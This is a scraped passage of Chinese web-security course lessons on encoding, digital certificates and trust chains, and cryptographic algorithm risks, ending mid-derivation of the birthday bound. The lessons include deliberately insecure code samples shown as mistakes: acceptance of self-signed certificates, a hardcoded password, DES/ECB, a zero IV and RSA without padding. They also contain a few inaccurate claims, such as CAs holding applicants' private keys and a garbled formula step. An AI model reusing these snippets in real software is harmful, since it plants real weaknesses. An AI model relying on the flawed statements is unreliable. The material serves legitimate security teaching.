这节课我们学习了加密失败的另一种安全风险形式——弱编码。
|
||||
|
||||
事实上关于编码的安全问题很多,主要是由于对编码和加密的算法理解有误所致,弱编码仅仅是一个浅层问题的缩影。通过了解编码的本质——信息格式的转换,就可以区分开编码与加密,进而就可以选择合适的使用场景。
|
||||
|
||||
从弱编码这一浅层安全问题入手,这节课我们进一步解读了一些主流的编码标准,让我们可以快速识别数据所属的编码类别:像ASCII占位1个字节,共8bit,能够描述128个字符,适用于英文场景;GB2312与GBK占位2个字节,共16bit,用于中文场景,GBK是GB2312的扩展;Unicode与UTF-8则更为宏大,用于描述全球各国的文字,并且UTF-8具有变长的特征。
|
||||
|
||||
在了解了字符编码的基础上,我们进一步探讨了常见的程序编码:像URL编码,其特征是以%开头,因此又称百分号编码,其编码结果与GBK和UTF-8的原始编码是非常相似的;而Base64编码,其特征是编码结果均为可打印字符,并且编码结果末尾可能存在=符号,主要适用场景是二进制数据的传递;再进一步扩展的话,其他Base编码也有相似之处。
|
||||
|
||||
与编码相关的更多深层次安全问题,是与编码转换以及转义字符处理相关的,因此在实战案例部分我选择了2个漏洞带你深入探究编码安全问题:
|
||||
|
||||
|
||||
宽字节注入问题,其发生的根源在于数据与命令的结合,但直接导火索是字符处理函数考虑不全,对于编码转换场景未经过严密的处理,产生了编码绕过的后果;
|
||||
Unicode字符序列问题,以CVE-2021-42574为例,其发生的根源是IDE在渲染Unicode编码过程中进行了控制字符解析,造成了开发人员理解代码错误引入后门或其他安全威胁。
|
||||
|
||||
|
||||
通过这节课的学习,我们可以发现编码看似是非程序开发问题,但是涉及的知识和原理非常广泛,同时引入的安全问题由于其逻辑晦涩也不易被发现。因此在coding过程中,深刻理解编码的作用以及程序内部执行过程的编码逻辑十分重要,考虑到编码引入的安全问题相对隐蔽,我们也可以考虑在项目中引入优秀的SAST工具,协助我们发现和定位编码层的安全问题。
|
||||
|
||||
思考题
|
||||
|
||||
除了这一讲中我们提到了两种编码漏洞,还有一种同形字符编码漏洞,CVE-ID是CVE-2021-42694,你可以自己完成漏洞追踪及分析吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
182
专栏/Web漏洞挖掘实战/08数字证书:攻击者可以伪造证书吗?.md
Normal file
182
专栏/Web漏洞挖掘实战/08数字证书:攻击者可以伪造证书吗?.md
Normal file
@ -0,0 +1,182 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
08 数字证书:攻击者可以伪造证书吗?
|
||||
你好,我是王昊天。
|
||||
|
||||
我们都知道,www.baidu.com之所以能够访问Baidu,是因为DNS在解析www.baidu.com这个记录的时候将IP地址指向了Baidu的服务器集群,通过DNS协议我们可以找到正确的服务器地址。
|
||||
|
||||
很多时候,我们在连接网络的时候没有手动设置DNS服务器地址,这时我们采用的就是网关统一的默认DNS服务器。如果网关的DNS被黑客入侵,并且黑客将www.baidu.com指向了自己构建的恶意网站,用户就会访问错误的站点,同时可能遭遇黑客的进一步控制。
|
||||
|
||||
那么问题来了,我们该如何判断正在访问的站点的真实性呢?
|
||||
|
||||
答案就是互联网证书体系,而证书体系的有效性就依赖于信任链,这就是这节课我们要一起研究的内容。
|
||||
|
||||
证书
|
||||
|
||||
我们平时在网络上常说的证书全称叫数字证书,它是一种基于公钥认证体系的电子文件,用于证明公钥持有者的身份。
|
||||
|
||||
一般在证书中会包含以下几类信息:
|
||||
|
||||
|
||||
公钥信息
|
||||
拥有者身份信息
|
||||
数字证书认证机构对该文件的数字签名
|
||||
|
||||
|
||||
证书持有者通过该文件(证书),即可向系统或者其他用户证明身份,从而获得对方信任并授权使用某些敏感服务。
|
||||
|
||||
这里我们使用Mac系统,通过 launchpad -> 其他 -> 钥匙串访问 -> 系统根证书,可以查看目前系统内部预置的根证书。
|
||||
|
||||
|
||||
|
||||
简单来说,认证机构用自己的私钥对需要认证的人或组织的公钥施加数字签名并生成证书,即证书的本质就是对公钥施加数字签名。
|
||||
|
||||
CA 证书颁发机构
|
||||
|
||||
CA(Certificate Authority)是证书的签发机构,它是公钥基础设施的核心,负责签发证书、认证证书、管理证书。
|
||||
|
||||
作为互联网信息服务商,它是如何获得证书的呢?
|
||||
|
||||
首先,服务商要先向CA提出申请,这一流程往往是线下的商务流程,主要任务是确认现实生活中各种资料;接下来,CA会确认服务商的身份,若通过审核则为服务商颁发公钥,并将公钥信息与用户身份信息绑定;最后,CA为绑定身份的公钥信息进行签名,签名结果即是证书,返还给申请者。根据这个证书颁发流程,我们可以发现CA也是拥有证书申请者的公钥以及私钥的。
|
||||
|
||||
CA通过证书赋予了服务商信任,那么网上的公众用户又该如何信任CA以及获得证书的服务商呢?答案是签名验证。对于CA,用户可以通过验证CA的签名来证明它的合法性(签名的验证过程实际上是使用公钥对私钥加密的数据段进行解密的过程);而对于服务商,用户则可以选择使用CA的公钥对服务商证书进行签名验证,一旦验证通过,即证明了证书的有效性。
|
||||
|
||||
根证书
|
||||
|
||||
自古以来,有一个千古难题 —— 鸡生蛋,蛋生鸡,那么先有鸡还是先有蛋呢?
|
||||
|
||||
不知道你有没有发现,我们刚刚似乎遗漏了什么至关重要的东西——用户是如何验证CA签名的呢?为了解决这个问题,这里我们要引入一个新的概念——根证书(root certificate)。
|
||||
|
||||
在密码学和计算机安全领域,根证书是属于“根证书颁发机构”的公钥证书,在公钥基础设施体系中,它是信任链的起点,是一切安全信任的基石,通常来自公认可靠的政府机关、证书颁发机构以及非营利性组织。根证书在互联网领域获得广泛认可,通常被预先安装在操作系统、浏览器等软件中。
|
||||
|
||||
在时效性上,由于根证书的颁发和部署流程都非常复杂耗时,需要包括行政人员及机构法人身份的核准,所以一张根证书有效期可以长达20年以上。
|
||||
|
||||
一些大企业会自己研发及部署很多内部应用,他们会在内部电脑安装企业自签的根证书,以支持内部网络的企业级软件,但是由于这些证书未被广泛认可,因此只在企业内部应用环境可用。
|
||||
|
||||
信任链
|
||||
|
||||
想要了解什么是信任链,我们还要从根证书的签发说起。
|
||||
|
||||
由于终端直接面向用户的服务商数量巨大,根证书签发的效率又比较低,如果只有数量有限的根证书机构签发证书,将会严重影响证书授权数量。为了解决这一问题,中间商的身份被引入进来。中间商只要持有根证书机构签发的中介证书,就有权给服务商授权证书。这里服务商获得的证书叫终端实体证书。
|
||||
|
||||
|
||||
|
||||
当互联网用户访问一个网站时,浏览器会执行认证路径验证算法,使用网站所提供的电子证书去对应系统预安装的根证书,通过验证两者是否匹配来判断从根证书到终端节点的路径是否为一条有效的信任链。如下图所示,整个信任链的结构是一个以根证书为顶层的树状结构。
|
||||
|
||||
|
||||
|
||||
证书信任链的不正确回溯
|
||||
|
||||
在coding过程中,当我们需要对证书进行验证时,可能会直接调用证书验证函数来获取验证结果,但是却没有对证书信任链进行有效地回溯,这就可能导致错误的信任关系的产生。
|
||||
|
||||
简单来说,从证书验证过程获取的信任是从信任链中继承下来的,而信任链的终点是一个可信的机构实体。在通常的工作场景中,这条信任链会经过多个实体,这些实体会为信任链中的下一个实体做担保,信任链的起点就是终端用户访问的目标。
|
||||
|
||||
|
||||
|
||||
在用户获取了访问目标证书的情况下,如果想要建立信任关系,只检查第一层信任链是不够的,你需要对完整的信任链进行检查。
|
||||
|
||||
举例来说,以下这些场景都会导致信任链断裂:
|
||||
|
||||
|
||||
信任链中任意一个非根节点的证书是自签发的(self-signed);
|
||||
没有完成整个信任链中每个节点的检查;
|
||||
信任链中的某个节点证书缺失一些基础信息或者额外的重要扩展信息;
|
||||
信任链中上层节点证书失效或者被攻击者窃取。
|
||||
|
||||
|
||||
示例代码:
|
||||
|
||||
...
|
||||
cert = ssl_get_peer_certificate(ssl);
|
||||
if( cert && host )
|
||||
foo = ssl_get_verify_result(ssl);
|
||||
|
||||
if( X509_V_OK == foo || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN == foo)
|
||||
return 0;
|
||||
...
|
||||
|
||||
|
||||
这是从网络上copy-paste的一段代码,你可以找到上述代码有什么安全隐患吗?
|
||||
|
||||
这段代码的安全隐患,主要是由于对证书验证过程理解不深刻导致的。代码作者直接使用了网络上的代码片段而没有仔细检查逻辑,使得这段代码允许了自签名证书的使用,因此并未构建有效地信任链,这就可能引发DNS污染或者中间人攻击等安全风险。
|
||||
|
||||
案例实战
|
||||
|
||||
Let’s Encrypt
|
||||
|
||||
如果我们有一个正在运营的Web应用,应该如何为这个Web应用配置一个SSL证书呢?
|
||||
|
||||
这里我们来通过MiTuan了解一下业内的SSL证书生态及使用方法。
|
||||
|
||||
首先,通过浏览器访问MiTuan主页,可以发现浏览器栏左侧有一个小锁的标志,这个锁的标志意味着该用户与该站点的通信受到保护,通信数据对于第三方是不可见的。
|
||||
|
||||
接下来,点击小锁并进入安全页,可以看到目前的证书是有效的:
|
||||
|
||||
|
||||
|
||||
再接下来通过选择证书有效这个选项,我们可以打开证书信息:
|
||||
|
||||
|
||||
|
||||
可以看到mituan.zone的证书由Let’s Encrypt签发;它的上级信任链节点是R3证书,R3证书所处的节点是一个中级证书颁发机构,R3证书由ISRG根证书签发;ISRG根证书属于Internet Security Research Group,该机构是一个根证书颁发机构。
|
||||
|
||||
关于Let’s Encrypt,它是一个非营利性的数字证书认证机构,旨在以自动化流程代替手动创建和安装证书,可以为网站提供免费的传输层安全协议(TLS)证书。Let’s Encrypt由ISRG(互联网安全研究小组)提供服务支撑。
|
||||
|
||||
从mituan.zone的访问来看,Let’s Encrypt的证书是有效的,那么为什么Let’s Encrypt签发的证书能够被识别为安全呢?
|
||||
|
||||
|
||||
|
||||
在技术实现上,Let’s Encrypt有一个由IdenTrust签名的根证书,该根证书在签署了两个子证书后离线储存,两个子证书分别用于签发请求和本地备份。而IdenTrust的CA根证书已经被广泛地预置在大部分浏览器中,因此Let’s Encrypt签发的证书可以直接被识别,用户甚至不需要在本地存放ISRG的根证书。
|
||||
|
||||
中间人攻击(MITM)
|
||||
|
||||
无论是开发中调试,还是安全项目中的模拟渗透,我们都会遇见一些场景需要调试Web应用的网络交互过程,这种调试工作一般是通过Proxy工具来完成的,在一般情况下Proxy工具都可以很好地完成任务,但是当TLS证书存在的情况下,事情会出现一些新的变化。
|
||||
|
||||
仍然以mituan.zone为例,此时我们希望在本地proxy工具中调试登录过程,让我们来试试看:
|
||||
|
||||
|
||||
|
||||
我使用的是Mac OS上面的Charles(Web Debugging Proxy)应用,可以看到打开Charles并启动代理流量捕获后,我们并没有成功获取到mituan.zone的通信内容,得到的是一个失败的说明——由于证书问题导致客户端SSL握手失败。
|
||||
|
||||
这是一个非常有意思的地方,上面失败说明中的客户端就是我们访问mituan.zone的浏览器。要知道,浏览器可是在我们自己手里,要不要信任对方还不是我们说了算?你说它可信,它就可信!但问题是,浏览器说的不可信指的是谁呢?
|
||||
|
||||
想要知道浏览器所指的certificate_unknown(46)错误究竟指谁,就要了解Charles的技术实现原理。实际上,Charles会自己启动一个Porxy,然后将Browser的访问流量导向Proxy,最后再从Proxy中将流量发到目标站点,通过这样的方式实现对于通信内容的捕获。
|
||||
|
||||
了解了实现原理,答案就很清晰了:浏览器所说的证书不可信,指的就是Charles的证书。
|
||||
|
||||
那我们接下来只需要将Charles的证书加载到系统内并设置信任即可:
|
||||
|
||||
|
||||
|
||||
完成Charles的证书信任设置后,我们再次尝试捕获通信内容:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
可以看到我们已经能够对TLS加密的HTTP请求进行内容分析了,这一过程在安全领域我们就称为——中间人攻击。
|
||||
|
||||
总结
|
||||
|
||||
这节课我们学习了如何使用加密知识构建互联网安全信任体系。
|
||||
|
||||
在互联网出现的早期,有一句流传很广的话——“在互联网上,没人知道你是一条狗”。这句话的背后意味着互联网身份的不可信,这种特性或许在匿名社交上有很大优势,但是在互联网商业服务领域却不可接受。来自互联网的终端用户需要一种方式,使他们能够确定访问的目标主体是真正的服务商,而不是骗子伪造的站点。
|
||||
|
||||
为了构建互联网信任体系,数字证书应运而生。它是一种基于公钥认证体系的电子文件,包含服务商的身份信息、公钥信息以及数字签名。这一体系的核心是证书颁发机构,也就是我们常说的CA。如果说CA是流程层面的核心,那么根证书则是技术层面的核心,通过信任链的层层传导,才能够完成整个互联网信任体系的搭建。
|
||||
|
||||
在本节课的实战案例部分,我们首先一起体验了TLS证书的检查以及申请过程,这些知识可以帮助你快速构建起安全的Web应用;接下来以Web调试需求为场景,我们又一起探索了Web调试工具的技术原理,以及MITM(Man-In-The-Middle Attack,中间人攻击)的实现思路。
|
||||
|
||||
相信通过本节课程的学习,你可以对证书以及信任链有一个清晰、整体的理解。这些知识不仅在构建安全的Web应用领域会对你产生帮助,更会在加密体系加持的多种新兴技术领域让你快速成长。
|
||||
|
||||
思考题
|
||||
|
||||
你可以尝试通过OpenSSL来生成自己的root CA以及签发证书吗?
|
||||
|
||||
欢迎在评论区留下你的思考,我们下节课再见。
|
||||
|
||||
|
||||
|
||||
|
317
专栏/Web漏洞挖掘实战/09密码算法问题:数学知识如何提高代码可靠性?.md
Normal file
317
专栏/Web漏洞挖掘实战/09密码算法问题:数学知识如何提高代码可靠性?.md
Normal file
@ -0,0 +1,317 @@
|
||||
|
||||
|
||||
因收到Google相关通知,网站将会择期关闭。相关通知内容
|
||||
|
||||
|
||||
09 密码算法问题:数学知识如何提高代码可靠性?
|
||||
你好我是王昊天,今天这一讲我们来一起学习密码算法问题。
|
||||
|
||||
温州话素以难懂著名,据传连温州附近的其他城市也很难理解。这种客观条件,为使用温州话传递秘密信息创造了土壤,因此有一种说法是,抗日战争时期中国军队使用温州话进行秘密通信。
|
||||
|
||||
这听起来确实还挺有可行性的,而且二战时期美军就曾使用纳瓦霍语做出类似的操作。
|
||||
|
||||
使用一种复杂形式的通用性语言作为“加密”方案,虽然在某种现实应用中可以奏效,但在算法选择上其实并不明智。
|
||||
|
||||
要知道,语言是可以翻译的。因此,如果将信息传递的安全性完全依赖于语言复杂性特质,一旦这种语言具有较大受众,对方就很可能具备该类语言的解析能力,从而使该语言失去保密效果。
|
||||
|
||||
在密码学中,这种使用难懂语言的加密方案可以归类到的古典密码算法,而现代社会普遍采用了现代密码学,加密信息的安全性已经不再依赖密码算法的保密性。
|
||||
|
||||
这一讲,我们就来一起研究密码算法的安全性。
|
||||
|
||||
数学层面的密码安全风险
|
||||
|
||||
古典密码学
|
||||
|
||||
古典密码学是密码学中的一个类型,主要使用替换式密码或移项式密码。尽管古典密码学由于安全性不足等问题现在已经逐渐退出实际应用了,但是我们从它开始了解密码学的发展历程,可以帮助你理解更深层的密码学原理。那么接下来,我们就来看几种经典的古典密码算法。
|
||||
|
||||
凯撒密码是一种广为人知的加密技术,是一种替换式密码。它的加密逻辑是非常简单的,明文中的字母按照固定偏移向后取值,结果即为密文,反之即是解密过程。
|
||||
|
||||
明文字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZ
|
||||
密文字母表:DEFGHIJKLMNOPQRSTUVWXYZABC
|
||||
|
||||
|
||||
凯撒加密也可以使用更直观的数学公式来表示:
|
||||
|
||||
Res_Enc = ( plain_text + n ) mod 26
|
||||
Res_Dec = ( cipher_text - n ) mod 26
|
||||
其中n代表偏移量
|
||||
|
||||
|
||||
可以看到,如此简单的加解密逻辑,在目前的技术发展下安全性是非常低的,站在当下,凯撒密码的影响如何我们已无从知晓,但是从凯撒密码的知名度和影响力来看,它确实是在当时被广泛使用的。根据现有的记载,直到公元9世纪,人们都没有任何技术能够破解这种最基本、最简单的替换密码,要知道凯撒可是生活在公元前1世纪。
|
||||
|
||||
在了解凯撒密码的原理之后,如果让你来强化加密算法,你会选择什么方案呢?
|
||||
|
||||
也许聪明的你已经想到了,最直观的方案就是,让字母的替代逻辑更加复杂。凯撒密码是一种经典的单字母替代式密码,那么它的进阶形态就变成了多字母替代式密码,在历史上它还有一个经典的名称——维吉尼亚密码。
|
||||
|
||||
维吉尼亚密码的运算逻辑会稍显复杂,首先会生成一个二维矩阵Matrix,然后再选择一个关键字X:
|
||||
|
||||
Matrix:
|
||||
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
|
||||
B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
|
||||
C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
|
||||
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
|
||||
E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
|
||||
F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
|
||||
G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
|
||||
H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
|
||||
I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
|
||||
J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
|
||||
K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
|
||||
L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
|
||||
M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
|
||||
N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
|
||||
O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
|
||||
P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
|
||||
Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
|
||||
R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
|
||||
S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
|
||||
T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
|
||||
U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
|
||||
V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
|
||||
W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
|
||||
X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
|
||||
Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
|
||||
Z A B C D E F G H I J K L M N O P Q R S T U V W X Y
|
||||
|
||||
X:
|
||||
WORD
|
||||
|
||||
|
||||
接下来根据明文长度,延展X使其和明文一样长,取得Y:
|
||||
|
||||
X: WORD
|
||||
plain_text: I LOVE CRYPTOGRAPHY
|
||||
Y: W ORDW ORDWORDWORDW
|
||||
|
||||
|
||||
根据每一位的明文以及Y的取值,分别匹配到Matrix的坐标,即可得出密文,以第一位加密为例:
|
||||
|
||||
Matrix(W,I) = E
|
||||
|
||||
|
||||
逐位运算即可取得加密结果:
|
||||
|
||||
cipher_text: E ZFYA QIBLHFJNOGKU
|
||||
|
||||
|
||||
学习了替换式密码之后,我们再来看一下移位式密码。移位式密码,字母本身是不变的,但是传递过程中的顺序会按照特定的定义进行改变。举个最简单的例子:
|
||||
|
||||
plain_text: Hello World!
|
||||
cipher_text: olleH !dlroW
|
||||
|
||||
|
||||
可以看到,移位式密码的逻辑是比较简单的,更复杂的移位式密码也是在变换上更加复杂,但是底层逻辑是不变的。
|
||||
|
||||
现代密码学
|
||||
|
||||
现代密码学主要可以分为两个领域,对称密钥密码学和非对称密钥密码学,这两者之间最核心区别就是,加密和解密的密钥是否相同。
|
||||
|
||||
对于对称密钥密码学,还可以进一步分为分组密码与流密码两个算法种类。其中,分组密码的输入使用明文的一个区块和密钥,然后输出相同大小的密文区块;流密码相对于分组密码则更为灵活,输入中的明文可以任意长,经过与密钥轮的数学操作后,输出与明文等长的加密流。
|
||||
|
||||
非对称密钥密码学还有一个名字,公钥密码学。其特征就是具备公钥和私钥两个不同密钥,并且均可以参与加密与解密过程。使用公钥加密、私钥解密是典型的隐秘信息保护流程;而使用私钥加密、公钥解密则是典型的签名流程。可以说,除加密外,公钥密码学最大的贡献就是实现了数字签名,互联网上的PKI体系以及SSL/TLS等网络安全机制均以此为基础构建。
|
||||
|
||||
关于底层原理,公钥密码算法的难度大多体现在计算复杂度上,比如RSA源于大整数因数分解问题、DSA源于离散对数问题、椭圆曲线密码学则源于椭圆曲线相关数学难题。由于这些底层问题多涉及模数乘法或指数运算,因此计算复杂度相较于对称密钥算法会更高。
|
||||
|
||||
为了在实际应用中达到更高的效率,普遍采用的方案是外部使用公钥密码算法,内部使用对称密钥算法,这样既可以获得公钥密码算法的优秀特性,可以获得对称密码算法的高执行效率,业内一种实践方案是信封加密。
|
||||
|
||||
目前,现代密码学在一些领域已经有非常前沿的实际应用场景,如交互证明、零知识、区块链与安全多方计算等。
|
||||
|
||||
密码算法安全性
|
||||
|
||||
经典密码通常很容易破解,普遍通过唯密文攻击法,在仅知密文的情况下就可以完成攻击。以凯撒密码为例,有限的密钥个数可以通过暴力破解完成攻击;替代式密码虽然有着更大的密钥数,但是会被频率分析破解;更进一步地,维吉尼亚密码使用多个替换防止简单的频率分析,但是依然可以使用更为先进的卡西斯基试验进行破解。
|
||||
|
||||
和经典密码学相比,现代密码学的安全性已经不依赖于加密算法的保密性,而是基于密钥的安全性,也就是说即使在密码算法完全公开的情况下,只要攻击者无法获取密钥就无法破解密文。
|
||||
|
||||
关于密文的破解有多种分类,其中最为普遍的划分方法是,按照攻击者获取的信息多少进行划分。在唯密文攻击中,攻击者的已知信息只有密文;在已知明文攻击中,攻击者的已知信息包括多个明文、密文对;在选择明文攻击中,攻击者可以自选任意明文,并获得相应的密文;在选择密文攻击中,攻击者可以选择任意密文,并获得相应明文。
|
||||
|
||||
另外一种破解分类,是按照信息来源进行分类的,像我们提到的4种攻击方式以及密码算法层的分析都被归类为主信道攻击;与之相对的是侧信道攻击,这种攻击方式重点关注加密设备在执行过程暴露的信息,比如通过分析加解密时间、错误码等来进行破解。
|
||||
|
||||
工程实践中的密码安全风险
|
||||
|
||||
除了数学理论层面的安全性风险之外,在工程实践中我们也会遇到许多密码学相关的安全风险,接下来就带你了解有哪些典型的风险场景。
|
||||
|
||||
硬编码密钥
|
||||
|
||||
在一些应用系统中,开发者可能会为了方便将加密密钥硬编码在源码中,在这种情况下,一旦应用系统被入侵,攻击者将可以轻松获得密钥,从而为后续入侵、提权、持久化埋下伏笔。
|
||||
|
||||
int verifyAdmin( char *password)
|
||||
{
|
||||
if( strcmp(password, "68af404b513073584c4b6f22b6c63e6b") )
|
||||
{
|
||||
printf("Incorrect Password!\n");
|
||||
return(0);
|
||||
}
|
||||
return(1);
|
||||
}
|
||||
|
||||
|
||||
随机值重用
|
||||
|
||||
很多密码算法在应用过程中,会涉及到随机值的使用。在一些开发场景中,开发者将随机值固定为某一数值,使得随机值发生重用,这样可能会导致身份伪装等中间人攻击行为的发生。
|
||||
|
||||
void encryptAndSendPassword( char *password)
|
||||
{
|
||||
char *tmp = "bad";
|
||||
...
|
||||
char *data = (unsigned char*)malloc(20);
|
||||
int para_size = strlen(tmp) + strlen(password);
|
||||
char *paragraph = (char*)malloc(para_size);
|
||||
SHA1((const unsigned char*)paragraph, para_size, (unsigned char*)data);
|
||||
...
|
||||
}
|
||||
|
||||
|
||||
不安全的加密算法
|
||||
|
||||
在开发过程中使用不安全的加密算法,可能会导致敏感信息的泄露,同时这会给攻击者更多攻击的机会,因为如果一个加密算法存在安全缺陷,那么对它的攻击方式很可能已经广为人知了。
|
||||
|
||||
也许你会好奇,是谁设计了不安全的加密算法呢?加密算法从诞生到应用,一定是经过了广泛实践检验的。但是由于近些年科技高速发展,无论是从理论算法层面发现了加密算法的缺陷,还是从算力增长的角度发现了某种现实性攻击,都使得加密算法的更新速度大幅提高,那些曾经被验证是安全的加密算法现如今也就变得不再安全了。
|
||||
|
||||
如下代码示例使用了DES加密算法,考虑到目前DES已经被认为是不安全的,因此这段代码的安全性存在缺陷,在实际应用中目前普遍采用AES作为替代方案。
|
||||
|
||||
function encryptPassword( $password )
|
||||
{
|
||||
$iv_size = mcrypt_get_iv_size(MCRYPT_DS, MCRYPT_MODE_ECB);
|
||||
$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
|
||||
$key = "This is a password encryption key";
|
||||
$encrypted_password = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
|
||||
...
|
||||
}
|
||||
|
||||
|
||||
可预测的初始化向量(Initialization Vector, IV)-
|
||||
许多加密算法会使用初始化向量来强化安全性,以DES加密算法为例,其加密模式分为多种,其中CBC模式就与初始化向量相关。在设置初始化向量的过程中,如果初始化向量可以被预测,那么算法的安全性就会降低。
|
||||
|
||||
这里我们仍然以DES算法的CBC模式为例,来分析初始化向量对于加密算法安全性的影响。
|
||||
|
||||
在了解CBC模式前,你需要先了解ECB模式,这是最简单的块密码加密模式,全称是电子密码本(Eclectronic codebook)模式,ECB模式在加密前根据块的大小将明文分为若干块,之后每块使用相同的密钥单独加密,解密同理。
|
||||
|
||||
ECB模式的优势很明显,首先加密逻辑非常简单,其次由于上下文无关,所以有利于并行计算,最后仍然得益于上下文无关,误差不会被传递;它的劣势也是很清晰的,一方面是无法隐藏明文的模式,另一方面攻击者可以直接对明文进行主动攻击。
|
||||
|
||||
为了增强ECB模式的安全性,CBC模式被引入进来。CBC全称是密码分组链接(CBC,Cipher-block chaining)模式。在CBC模式下,每个明文块需要先与前一个密文块进行异或(xor),然后再进行加密,因此每个密文块都依赖于它前面的所有明文块。那么初始化向量又是在何处被引入的呢?为了保证每条消息的唯一性,在第一个明文块会直接与初始化向量进行异或。用数学语言来表述如下:
|
||||
|
||||
cipher_text_0 = IV
|
||||
cipher_text_i = E_k{plain_text_i XOR cipher_text_{i-1}}
|
||||
|
||||
|
||||
如果CBC模式下的初始化向量发生重复使用、全0设置等情况,就会使同样的明文产生同样的密文结果;即使初始化向量未发生重用,对于攻击者来说密文仍然是可预测的,这依然会使加密算法在面对选择明文攻击时的安全性大大降低。
|
||||
|
||||
如下代码使用CBC模式进行加密,但在编码过程中将初始化向量设置为全0,这就导致密文更加容易预测,并且可能会面临字典攻击等安全威胁:
|
||||
|
||||
public class Cipher {
|
||||
public static void main() {
|
||||
byte[] plain_text = "Hello World!".getBytes();
|
||||
byte[] iv = {
|
||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
|
||||
};
|
||||
KeyGenerator kg = KeyGenerator.getInstace("DES");
|
||||
kg.init(56);
|
||||
SecretKey key = kg.generateKey();
|
||||
Cipher cipher = Cipher.getInstace("DES/CBC/PKCS5Padding");
|
||||
IvParameterSpec ips = new IvParameterSpec(iv);
|
||||
cipher.init(Cipher.ENCRYPT_MODE, key, ips);
|
||||
// ...
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
不安全的Padding
|
||||
|
||||
许多加密算法都支持padding机制,一方面padding是为了补全明文,使其满足加密算法的格式要求;另一方面在padding机制产生作用后,明文将更难以预测,攻击者的攻击复杂度也会相应提高。以下是一种典型的错误示例:
|
||||
|
||||
public Cipher getRSACipher() {
|
||||
Cipher rsa = null;
|
||||
try {
|
||||
rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");
|
||||
}
|
||||
catch (Exception e) {
|
||||
// ...
|
||||
}
|
||||
return rsa;
|
||||
}
|
||||
|
||||
|
||||
案例实战
|
||||
|
||||
通过一系列典型的安全风险场景,相信你对密码安全风险已经有了更加深刻的理解。接下来我们从两个更为复杂的实战案例出发,看看它在实际应用中又能给我们什么启发。
|
||||
|
||||
数字签名伪造
|
||||
|
||||
我们知道数字签名是互联网信任体系的根基,那么数字签名是否一定是可信的呢?为了寻找答案,我们要站在攻击者的视角来审视整个体系。
|
||||
|
||||
设想一种场景,在这种场景中攻击者试图执行一次签名诈骗攻击。首先攻击者准备了一份正常的合同m,以及一份伪造的合同m_fake,在不改变合同原本意义的情况下,通过插入逗号、空行、空格、同义词替换等行为,攻击者可以生成一系列以m和m_fake为原型的合同变体。攻击者了解在合同签署过程中使用的签名函数是f(),并通过运算在所有合同变体中找到了f(m) = f(m_fake),于是攻击者可以将m带给合作方签名。在签名完成后,攻击者可以将签名取下并附到m_fake上,以此来证明合作方签署了m_fake合同。
|
||||
|
||||
再设想一种场景,我们都知道在下载软件安装包时,最好的情况是去官网下载,一方面是来源更可信,另一方面是官网同时也会披露对应安装包的MD5值供用户验证。那么如果攻击者通过碰撞的方式,制造出了一个恶意应用程序,同时该恶意程序的MD5值与官方安装包一致,就可能会导致用户错误地安装恶意程序,从而被攻击者控制。
|
||||
|
||||
通过这两种场景我们会发现,数字签名也未必可信。目前技术的快速发展,使得数字签名的伪造成为可能,虽然这种攻击方式的门槛仍然较高,但随着算力和算法的发展,该攻击方式的实施成本会进一步降低,这也是为什么我们需要不断探索强度更高的密码算法。
|
||||
|
||||
HASH碰撞与生日攻击
|
||||
|
||||
HASH碰撞在数学上有一个原型叫“生日攻击”,问题是“一个班级需要有多少人,才能保证每个同学的生日都不一样?”。这里我先直接说答案,你肯定会十分吃惊,如果要求出现相同生日的同学概率不超过5%,那么这个班只能有7个人;如果概率是50%,那么这个班只需要23个人。
|
||||
|
||||
如果按照HASH碰撞的角度来理解,哈希值的空间范围是365,只需要计算23个哈希就有50%的概率出现碰撞。接下来我们就以50%为标准,来判断通用意义上HASH碰撞的可行性。
|
||||
|
||||
数学推导
|
||||
|
||||
这里我们仍然以生日攻击为例,来推导数学公式。如果所有人的生日都不相同,那么意味着每个同学需要在选择自己生日时,排除已经被选择掉的天数,在剩余的日期中做出选择。
|
||||
|
||||
p(n) = 1 · (1-1/365) · (1-2/365) · ... · (1-(n-1)/365)
|
||||
|
||||
|
||||
参考泰勒公式:
|
||||
|
||||
e^x = 1 + x + x^2/2 + x^3/6 + ...
|
||||
在x很小的情况下 -> e^x ≈ 1 + x
|
||||
|
||||
|
||||
将泰勒公式带入p(n):
|
||||
|
||||
p(n) ≈ 1 · e^(-1/365) · (-2/365) ··· (-(n-1)/365)
|
||||
= e^(-n(n-1)/730)
|
||||
|
||||
|
||||
进一步将p(n)通用化,并将结果从不碰撞转换为碰撞的概率:
|
||||
|
||||
p(n,h) = 1 - e^(-n(n-1)/2h)
|
||||
|
||||
|
||||
